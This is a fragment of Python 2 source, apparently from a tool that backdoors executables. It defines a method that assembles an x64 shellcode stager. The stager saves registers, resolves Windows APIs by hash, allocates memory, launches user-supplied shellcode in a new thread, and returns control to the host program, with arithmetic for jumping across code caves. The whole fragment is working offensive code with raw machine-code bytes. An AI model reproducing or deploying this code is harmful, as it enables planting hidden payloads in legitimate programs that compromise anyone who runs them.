'User supplies the shellcode, make sure that it EXITs via a thread.'

def user_supplied_shellcode_threaded(self, flItms, CavesPicked={}):

    flItms['stager'] = True
    if (flItms['supplied_shellcode'] is None):
        print '[!]    User    must    provide    shellcode    for    this    module    (-U)'
        return False
    else:
        self.supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
    self.stackpreserve = '\x90PSQRVWUAPAQARASATAUAVAW\x9c'
    breakupvar = eat_code_caves(flItms, 0, 1)
    if (flItms['cave_jumping'] is True):
        self.shellcode2 = '\xe8'
        if (breakupvar > 0):
            if (len(self.shellcode2) < breakupvar):
                self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - breakupvar) - len(self.shellcode2)) + 272)).rstrip('L')), 16))
            else:
                self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - len(self.shellcode2)) - breakupvar) + 272)).rstrip('L')), 16))
        else:
            self.shellcode2 += struct.pack('<I', int(str(hex((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 244)).rstrip('L')), 16))
    else:
        self.shellcode2 = '\xe8\xb8\xff\xff\xff'
    if (flItms['NewCodeCave'] is False):
        if (CavesPicked != {}):
            self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
        else:
            self.shellcode2 += ('A' * 90)
    self.shellcode2 += self.supplied_shellcode
    breakupvar = eat_code_caves(flItms, 0, 1)
    self.shellcode1 = '\x90\xe8\xc0\x00\x00\x00AQAPRQVH1\xd2eH\x8bR`H\x8bR\x18H\x8bR    H\x8brPH\x0f\xb7JJM1\xc9H1\xc0\xac<a|\x02,    A\xc1\xc9\rA\x01\xc1\xe2\xedRAQH\x8bR    \x8bB<H\x01\xd0\x8b\x80\x88\x00\x00\x00H\x85\xc0tgH\x01\xd0P\x8bH\x18D\x8b@    I\x01\xd0\xe3VH\xff\xc9A\x8b4\x88H\x01\xd6M1\xc9H1\xc0\xacA\xc1\xc9\rA\x01\xc18\xe0u\xf1L\x03L$\x08E9\xd1u\xd8XD\x8b@$I\x01\xd0fA\x8b\x0cHD\x8b@\x1cI\x01\xd0A\x8b\x04\x88H\x01\xd0AXAX^YZAXAYAZH\x83\xec    AR\xff\xe0XAYZH\x8b\x12\xe9W\xff\xff\xff'
    self.shellcode1 += ']I\xc7\xc6'
    self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
    self.shellcode1 += 'j@AYh\x00\x10\x00\x00AXL\x89\xf2j\x00YhX\xa4S\xe5AZ\xff\xd5H\x89\xc3H\x89\xc7'
    self.shellcode1 += 'H\xc7\xc1'
    self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
    if (flItms['cave_jumping'] is True):
        self.shellcode1 += '\xe9'
        if (breakupvar > 0):
            if (len(self.shellcode1) < breakupvar):
                self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
            else:
                self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
        else:
            self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
    else:
        self.shellcode1 += '\xebC'
    self.shellcode1 += '^\xf2\xa4\xe8\x00\x00\x00\x00H1\xc0PPI\x89\xc1H\x89\xc2I\x89\xd8H\x89\xc1I\xc7\xc28h\r\x16\xff\xd5H\x83\xc4X\x9dA_A^A]A\\A[AZAYAX]_^ZY[X'
    breakupvar = eat_code_caves(flItms, 0, 2)
    if (flItms['cave_jumping'] is True):
        self.shellcode1 += '\xe9'
        if (breakupvar > 0):
            if (len(self.shellcode1) < breakupvar):
                self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
            else:
                self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
        else:
            self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
    else:
        self.shellcode1 += '\xe9'
        self.shellcode1 += struct.pack('<I', len(self.shellcode2))
    self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
    return ((self.stackpreserve + self.shellcode1), self.shellcode2)
